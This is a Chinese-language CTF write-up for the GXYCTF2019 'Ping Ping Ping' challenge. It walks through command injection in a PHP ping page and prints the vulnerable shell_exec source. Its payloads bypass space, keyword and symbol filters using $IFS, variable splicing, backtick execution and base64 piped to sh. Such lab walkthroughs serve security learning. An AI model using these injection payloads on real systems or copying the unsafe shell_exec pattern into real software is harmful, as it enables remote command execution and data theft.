首页 > 其他分享 >[GXYCTF2019]Ping Ping Ping 1

[GXYCTF2019]Ping Ping Ping 1

时间:2023-10-03 22:45:10浏览次数:37  
标签:127.0 0.1 ip Ping flag php GXYCTF2019

原理

RCE命令执行的多种绕过姿势

解题过程

进入靶场提示要传递参数ip

那就传递一下127.0.0.1,结果正常

试试进行拼接,试了127.0.0.1&&ls或者127.0.0.1&ls都不行,,,直到用;做连接符才可以
payload:127.0.0.1;ls

发现有index.php和flag.php文件,猜测flag应该在flag.php内
接着尝试读取文件内容.127.0.0.1;cat flag.php。不行,发现做了过滤,看看过滤了什么

尝试后发现是过滤了空格,用$IFS$1替换空格后,还是不行,发现过滤了flag。

我们试试读取index.php内容,看能否打印出原代码
payload:127.0.0.1;cat$IFS$1index.php 结果真的打印出了原代码,那就代码审计

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

发现过滤了很多特殊符号,空格,bash,还有按顺序的flag
如何绕过呢。可以尝试变量绕过

payload:127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

查看原代码,爆出flag

还可以使用内联执行来绕过

payload:127.0.0.1;cat$IFS$1`ls`   

这里是将ls命令的执行结果即index.php flag.php都打印出来

还可以使用base64加密绕过

payload:127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

原型是echo cat flag.php|base64 -d|sh
参考文案:https://blog.csdn.net/m0_62422842/article/details/124616206

标签:127.0,0.1,ip,Ping,flag,php,GXYCTF2019
From: https://www.cnblogs.com/BEONTHE/p/17741760.html

相关文章

  • 什么是 Angular 14 的 strict typing of Angular Reactive Forms
    Angular14引入的"stricttypingofAngularReactiveForms"是一项强大的功能,它进一步提高了Angular应用程序的类型安全性和可维护性,特别是在处理表单时。这个功能使开发人员能够更精确地定义表单控件和表单模型的类型,从而减少了潜在的运行时错误,并提供了更好的代码提示和文......
  • Go - Wrapping an Error with Other Errors
    Problem: Youwanttoprovideadditionalinformationandcontexttoanerroryoureceivebeforereturningitasanothererror.Solution: Wraptheerroryoureceivewithanothererroryoucreatebeforereturningit. Thereareacoupleofwaystowraperr......
  • vmare平台上esxi主机,搭建虚拟机ping不通网关
    环境描述:虚拟化平台:vmare5.5物理机系统:esxi虚拟机:centos7.5交换机2台:锐捷和华为机柜位置–》上面的交换机是华为的26机柜1台物理机ip10.1.1.1机柜位置–》上面的交换机是锐捷的12机柜3台物理机IP10.1.1.210.1.1.310.1.1.4物理机插了2个网线,a网线是物理机-管理网10.1.1.......
  • 一个比 ping 更强大、更牛逼的命令行工具
    晚上好,我的网工朋友。遇到网络故障的时候,你一般会最先使用哪条命令进行排障?基本上大家第一个想到的都是Ping吧。但除了Ping,还有Traceroute、Show、Telnet又或是Clear、Debug等等好用命令,你都用过吗?今天给你安排一个Traceroute的命令详解,不仅有原理解读,还有命令格式和使用说明,最后......
  • 一个比 ping 更强大、更牛逼的命令行工具
    晚上好,我的网工朋友。遇到网络故障的时候,你一般会最先使用哪条命令进行排障?基本上大家第一个想到的都是Ping吧。但除了Ping,还有Traceroute、Show、Telnet又或是Clear、Debug等等好用命令,你都用过吗?今天给你安排一个Traceroute的命令详解,不仅有原理解读,还有命令格式和使用说明,最后还......
  • 【从0学习Solidity】7. 映射类型 mapping
    【从0学习Solidity】7.映射类型mapping博主简介:不写代码没饭吃,一名全栈领域的创作者,专注于研究互联网产品的解决方案和技术。熟悉云原生、微服务架构,分享一些项目实战经验以及前沿技术的见解。关注我们的主页,探索全栈开发,期待与您一起在移动开发的世界中,不断进步和创造!本文收录于......
  • 3、SpringMVC之RequestMapping注解
    3.1、环境搭建创建名为spring_mvc_demo的新module,过程参考2.1节3.1.1、创建SpringMVC的配置文件<?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/......
  • Buuctf——[GXYCTF2019]BabySQli
    本题目是一道联合注入进入页面后发现只有一个登录框。知识点unionselect联合查询union拼接的两个查询语句查询字段数必须一样多当其中一个查询结果为空时,不影响另外一个语句的查询结果联合注入核心是使用拼接的select语句同时使原查询语句结果为空来覆盖原查询结果,从而实......
  • using wget utility to download files while keeping path structure
    Frommanwget:-x,--force-directories:[...]createahierarchyofdirectories,evenifonewouldnothavebeencreatedotherwise.E.g.wget-xhttp://fly.srk.fer.hr/robots.txtwillsavethedownloadedfiletofly.srk.fer.hr/robots.txt.  Togetthest......
  • 华为交换机DHCP snooping功能开启
    客户网络环境是使用DHCP来自动分配地址的。但是有的人私接小路由器wifi。导致小路由器的dhcp地址分发到了网络中,引起了局部的网络中断问题。解决方法:开启DHCPsnooping功能。原理:通过全局先开启dhcpsnoopingenable功能,再在普通接口或者vlan下再次启用dhcpsnoopingenable。......